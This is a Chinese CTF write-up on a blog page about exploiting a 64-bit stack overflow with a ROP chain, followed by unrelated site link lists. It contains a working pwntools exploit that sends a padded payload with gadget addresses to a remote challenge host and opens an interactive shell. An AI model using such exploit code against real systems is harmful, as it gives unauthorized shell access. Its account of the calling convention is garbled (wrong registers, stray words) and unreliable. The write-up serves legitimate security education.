PWN手成长之路-05-ROP
与远程环境进行交互,可以进行输入,但是输入之后无任何回显。
file 查看文件。64位 ELF 。
checksec 查看文件安全属性。
IDA 打开文件。查看 main 函数的反编译代码。
查看 buf 这个字符数组(栈上的缓冲区),本身 buf 有0x20的字节,另外在 buf
之后,栈上还有 8
字节的保存寄存器(Saved Regs)和 8 字节的返回地址(Return Address)**(对应汇编中的 s 和 r,各占 8 字节)。
ALT+B 进行搜索字符串:/bin,找到了后门函数。
并且在 say_hello
函数中发现了 system
这个提权函数。
双击这个 _system
函数,从而得到其地址。这个地址就是最后 system_addr
的地址。
原本的计划是通过栈溢出覆盖返回地址,直接调用 /bin/sh 字符串地址,再跳转到 system
函数(即缝合为 system("/bin/sh")
),但是目标程序开启了 NX 保护,导致栈内存不可执行,无法直接注入并运行 shell ,因此,需要采用 ROP(Return-Oriented Program) 技术绕过NX保护。
利用目标程序中已有的 pop rdi; ret 等gadget 设置函数参数,如将 /bin/sh
地址传入 RDI 寄存器,劫持控制流程到已经存在的 system
函数地址,实现 system("/bin/sh")
的调用,ROP 通过组合现有的代码片段(gadget)完成攻击,无需在栈上执行新代码,从而绕过 NX 限制。
但在漏洞利用的过程中,需要重点关注目标程序的调用约定。由于 32 位程序通过栈传递参数,而 amd64(x86_64) 程序的前六个参数,依次保存在 RDP、RSI、RCX、R8、R9 寄存器中,查出部分才会通过栈传递。因此在构造 ROP 链时,兽药典是需要确定 RDI 寄存器的地址,可以通过以下的命令来查询程序 RDI 寄存器的地址:
ROPgadget --binary pwn | grep 'pop rdi'
构造 exp:
流程:填充数据+rdi_addr+shell_addr+system_addr
from pwn import *
r=remote('node5.buuoj.cn',25975)
rdi_addr=0x400663
shell_addr=0x601048
system_addr=0x400480
payload=b'a'*(0x20+8)+p64(rdi_addr)+p64(shell_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()
PWN手成长之路-05-ROP的更多相关文章
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- OpenCV成长之路:图像直方图的应用
OpenCV成长之路:图像直方图的应用 2014-04-11 13:57:03 标签:opencv 图像 直方图 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否 ...
- 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读
本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- 【Python成长之路】装逼的一行代码:快速共享文件
[Python成长之路]装逼的一行代码:快速共享文件 2019-10-26 15:30:05 华为云 阅读数 335 文章标签: Python编程编程语言程序员Python开发 更多 分类专栏: 技术 ...
- redis成长之路——(二)
redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...
- redis成长之路——(一)
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 【腾讯Bugly干货分享】JSPatch 成长之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...
随机推荐
- WSL初探
1 简介 WSL( Windows Subsystem for Linux )是微软开发的兼容层,允许在 Windows 10 及更高版本上运行原生Linux二进制文件(如 Ubuntu . Debi ...
- ETL数据集成丨主流ETL工具(ETLCloud、DataX、Kettle)数据传输性能大PK
目前市面上的ETL工具众多,为了方便广大企业用户在选择ETL工具时有一个更直观性能方面的参考值,我们选取了目前市面上最流行的三款ETL工具(ETLCloud.DataX.Kettle)来作为本次性能传 ...
- TinyEditor v4.0 alpha 版本发布:表格更强大,表情更丰富,上传体验超乎想象!
你好,我是 Kagol,个人公众号:前端开源星球. TinyEditor 是一个基于 Quill 2.0 的富文本编辑器,在 Quill 基础上扩展了丰富的模块和格式,框架无关.功能强大.开箱即用. ...
- English: 系动词:总结之 五种{1.be动词, 2.感官动词, 3.变化系动词, 4.持续系动词, 5.表象系动词}
English: 系动词:总结之 五种 系动词共有以下五种 be动词 am, is, are, was, were 感官动词 look看起来, sound听起来, feel摸起来(感受上) smell ...
- SSL证书和域名不匹配咋解决?
SSL证书域名不匹配问题是一个常见的网络安全问题,通常会导致浏览器显示安全警告,影响用户的信任度和网站的正常使用.本文将详细探讨SSL证书域名不匹配的原因,并提供一系列解决方案,帮助网站管理员快速有效 ...
- P3160 [CQOI2012] 局部极小值 题解
零.题目大意: 将\([1,n\cdot m]\)中的所有整数分别放入\(n\times m\)的格子矩阵里,其中的一些格子有特殊要求(周围的8个格子都要比它大,输入中体现为字符'X'),问方案数 一 ...
- PS一键图片智能添加噪点脚本 GrainLab for Photoshop安装与使用方法
GrainLab 是一款专为 Photoshop 设计的「一键智能噪点」脚本,可在 3 秒内为任意图像添加电影级颗粒.胶片杂讯或复古质感.脚本内置 8 组预设(胶片.数码.复古.粗颗粒等),支持自定义 ...
- AI这东西,真没你想的那么难,普通人这样上手最快!
前两天跟朋友吃饭,聊到AI,他一脸愁容:"你说这AI天天刷屏,又是写代码又是画画的,我一个做行政的,啥都不懂,是不是已经被时代甩出去了?" 我笑了:"你手机微信用过吧?导 ...
- DeepSeek采用的UE8M0 FP8 为什么引爆了A股的芯片板块
DeepSeek 这次的重点不在模型 V3.1,而是在DeepSeek在其官宣发布DeepSeek-V3.1的文章中提到,DeepSeek-V3.1使用了UE8MO FP8 Scale的参数精度.另外 ...
- PHP Trait 解决 PHP 单继承问题
什么是继承? 继承实际上是存在于面向对象程序设计中的两个类之间的一种关系,是面向对象程序设计方法的一个重要手段,通过继承可以更有效地组织程序结构,明确类间的关系,充分利用已有的类来完成更复杂.更深入的 ...